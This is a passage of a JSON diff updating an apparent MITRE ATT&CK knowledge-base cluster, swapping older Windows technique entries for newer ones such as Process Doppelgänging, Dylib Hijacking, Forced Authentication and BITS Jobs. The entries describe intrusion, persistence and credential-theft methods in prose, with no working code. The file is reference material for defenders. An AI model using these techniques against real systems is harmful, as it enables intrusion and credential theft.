installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security.Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Windows Registry", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1012", - "https://en.wikipedia.org/wiki/Windows%20Registry" - ], - "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896" - }, - "value": "Query Registry" - }, - { - "description": "An adversary may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nDetection: Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through [[Discovery]] techniques prior to attempting [[Lateral Movement]].\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: Authentication logs", - "meta": { "mitre_data_sources": [ "Authentication logs" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1021" - ], - "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba" + "https://attack.mitre.org/techniques/T1184", + "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", + "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking", + "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219", + "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" + ] }, - "value": "Remote Services" + "uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", + "value": "SSH Hijacking - T1184" }, { - "description": "Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring", + "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", "meta": { + "external_id": "T1149", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Process use of network", + "Binary file metadata", + "Malware reverse engineering", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1029" - ], - "uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466" + "https://attack.mitre.org/techniques/T1149", + "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + ] }, - "value": "Scheduled Transfer" + "uuid": "a0a189c8-d3bd-4991-bf6f-153d185ee373", + "value": "LC_MAIN Hijacking - T1149" }, { - "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on.Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nEffective Permissions: SYSTEM, Administrator", + "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "external_id": "T1165", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1053", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "https://technet.microsoft.com/en-us/library/cc785125.aspx" - ], - "uuid": "35dd844a-b219-4e2b-a6bb-efa9a75995a9" - }, - "value": "Scheduled Task" - }, - { - "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited.\n\nDetection: Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process monitoring", - "meta": { "mitre_data_sources": [ "File monitoring", "Process monitoring" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1051" - ], - "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db" - }, - "value": "Shared Webroot" - }, - { - "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nPopular websites and social media can act as a mechanism for command and control and give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture", - "meta": { - "mitre_data_sources": [ - "Host network interface", - "Netflow/Enclave netflow", - "Network protocol analysis", - "Packet capture" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1102", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "830c9528-df21-472c-8c14-a036bf17d665" - }, - "value": "Web Service" - }, - { - "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client).Redundant Access or as a persistence mechanism in case an adversary's primary access methods are detected and removed.\n\nDetection: Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload:cmd or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network.[[Citation: US-CERT Alert TA15-314A Web Shells]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Process monitoring, Authentication logs, Netflow/Enclave netflow, Anti-virus\n\nEffective Permissions: User, SYSTEM", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process monitoring", - "Authentication logs", - "Netflow/Enclave netflow", - "Anti-virus" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1100", - "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", - "https://www.us-cert.gov/ncas/alerts/TA15-314A" - ], - "uuid": "c16e5409-ee53-4d79-afdc-4099dc9292df" - }, - "value": "Web Shell" - }, - { - "description": "During the boot process, macOS and Linux both execute source /etc/rc.common, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts[[Citation: Startup Items]]. In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user[[Citation: Methods of Mac Malware Persistence]].\n\nDetection: The /etc/rc.common file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1163", + "https://attack.mitre.org/techniques/T1165", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "5910567d-e430-41f7-b465-f1419449b462" + ] }, - "value": "Rc.common" + "uuid": "2ba5aa71-9d15-4b22-b726-56af06d9ad2f", + "value": "Startup Items - T1165" }, { - "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft.[[Citation: MSDN Regsvcs]][[Citation: MSDN Regasm]]\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nContributors: Casey Smith", + "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", "meta": { + "external_id": "T1157", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1157", + "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf" + ] + }, + "uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", + "value": "Dylib Hijacking - T1157" + }, + { + "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).", + "meta": { + "external_id": "T1159", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1159", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", + "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + ] + }, + "uuid": "dd901512-6e37-4155-943b-453e3777b125", + "value": "Launch Agent - T1159" + }, + { + "description": "Browser extensions or plugins are small programs that can add functionality and customize aspects of internet browsers. They can be installed directly or through a browser's app store. Extensions generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so may not be difficult for malicious extensions to defeat automated scanners and be uploaded. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser, to include credentials, (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).", + "meta": { + "external_id": "T1176", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Network protocol analysis", + "Packet capture", + "System calls", + "Process use of network", + "Process monitoring", + "Browser extensions" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1176", + "https://developer.chrome.com/extensions", + "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf", + "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/", + "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/", + "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)", + "https://kjaer.io/extension-malware/", + "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/", + "https://en.wikipedia.org/wiki/Browser_extension", + "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + ] + }, + "uuid": "389735f1-f21c-4208-b8f0-f8031e7169b8", + "value": "Browser Extensions - T1176" + }, + { + "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)", + "meta": { + "external_id": "T1167", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Process monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1167", + "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain", + "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way" + ] + }, + "uuid": "2715c335-1bf2-4efe-9f18-0691317ff83b", + "value": "Securityd Memory - T1167" + }, + { + "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelgänging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)\n\nProcess Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):\n\n* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load – Create a shared section of memory and load the malicious executable.\n* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate – Create a process from the tainted section of memory and initiate execution.", + "meta": { + "external_id": "T1186", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1186", + "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", + "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", + "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", + "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", + "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", + "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx" + ] + }, + "uuid": "c1a452f3-6499-4c12-b7e9-a6a0a102af76", + "value": "Process Doppelgänging - T1186" + }, + { + "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", + "meta": { + "external_id": "T1177", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "File monitoring", + "Kernel drivers", + "Loaded DLLs", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1177", + "https://technet.microsoft.com/library/cc961760.aspx", + "https://technet.microsoft.com/library/dn408187.aspx", + "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "uuid": "6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "value": "LSASS Driver - T1177" + }, + { + "description": "The Server Message Block (SMB) protocol is commonly used in Windows networks for authentication and communication between systems for access to resources and file sharing. When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. (Citation: Wikipedia Server Message Block) This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources. Web Distributed Authoring and Versioning (WebDAV) is typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443. (Citation: Didier Stevens WebDAV Traffic) (Citation: Microsoft Managing WebDAV Security)\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)), or place a specially crafted file on navigation path for privileged accounts (e.g. .SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource it will attempt authentication and send information including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials, or reuse it for [Pass the Hash](https://attack.mitre.org/techniques/T1075). (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", + "meta": { + "external_id": "T1187", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring", + "Network protocol analysis", + "Network device logs", + "Process use of network" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1187", + "https://en.wikipedia.org/wiki/Server_Message_Block", + "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/", + "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx", + "https://github.com/hob0/hashjacking", + "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/" + ] + }, + "uuid": "b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "value": "Forced Authentication - T1187" + }, + { + "description": "Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.\n\nThe interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1086) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITS)Admin\n\nAdversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016)\n\nBITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016)", + "meta": { + "external_id": "T1197", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "Packet capture", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1197", + "https://technet.microsoft.com/library/dd939934.aspx", + "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx", + "https://www.secureworks.com/blog/malware-lingers-with-bits", + "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/", + "https://www.symantec.com/connect/blogs/malware-update-windows-update", + "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/" + ] + }, + "uuid": "c8e87b83-edbb-48d4-9295-4974897525b7", + "value": "BITS Jobs - T1197" + }, + { + "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing 